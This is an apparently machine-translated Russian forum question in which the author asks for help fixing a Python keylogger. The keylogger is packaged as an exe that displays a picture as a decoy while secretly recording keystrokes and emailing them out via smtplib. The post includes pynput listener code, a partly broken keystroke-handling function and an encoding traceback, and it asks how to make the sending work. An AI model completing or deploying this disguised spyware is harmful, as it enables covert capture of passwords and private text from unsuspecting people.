TL; DR:
обнаружил ошибку, но не решил ее:
Набор текста на английском языке (слева), отображается на иврите (справа)
Я создал простой кейлоггер в python 2.7 на моей машине с Ubuntu (VMware).
Созданный exe-файл должен показать картинку и выполнить кейлоггер на заднем плане.
Он работает на главном компьютере (хост VMware, без установленного Python ), но не на другом моем компьютере ( без Python, также ). Он показывает картинку, но не может отправить письмо, используя smtplib
для обработки нажатий клавиш я использовал pynput следующим образом:
keylistener = pynput.keyboard.Listener(on_press=proccess_keystrokes)
with keylistener:
sendGlobalVarLog()
keylistener.join()
и proccess_keystrokes:
def process_key_press(self, key):
try:
current_key = key.char
except AttributeError:
current_key = '{0}'.format(key)
if current_key == 'Key.space':
current_key = " "
else:
if current_key == 'Key.enter':
current_key = "\n"
else:
current_key = " " + current_key + " "
except UnicodeEncodeError:
current_key = " bla "
self.append_to_log(current_key)
теперь он не отправляет ничего на моем компьютере с Windows, кроме первого уведомления о запуске кейлоггера.
Я тоже пытался запустить из pycharm, и через несколько секунд работы я получил следующее исключение:
Файл "C: \ Users \ PC \ AppData \ Local \ Programs \ Python \ Python37-32 \ lib \ smtplib.py", строка 855, в sendmail
msg = _fix_eols (msg) .encode ('ascii')
UnicodeEncodeError: кодек «ascii» не может кодировать символы в позиции 6-11: порядковый номер не в диапазоне (128)
Кто-нибудь знает, что я делаю не так? как правильно разобрать нажатия клавиш? Я попробовал несколько руководств, но не смог найти решение.
Буду признателен за любую помощь, спасибо.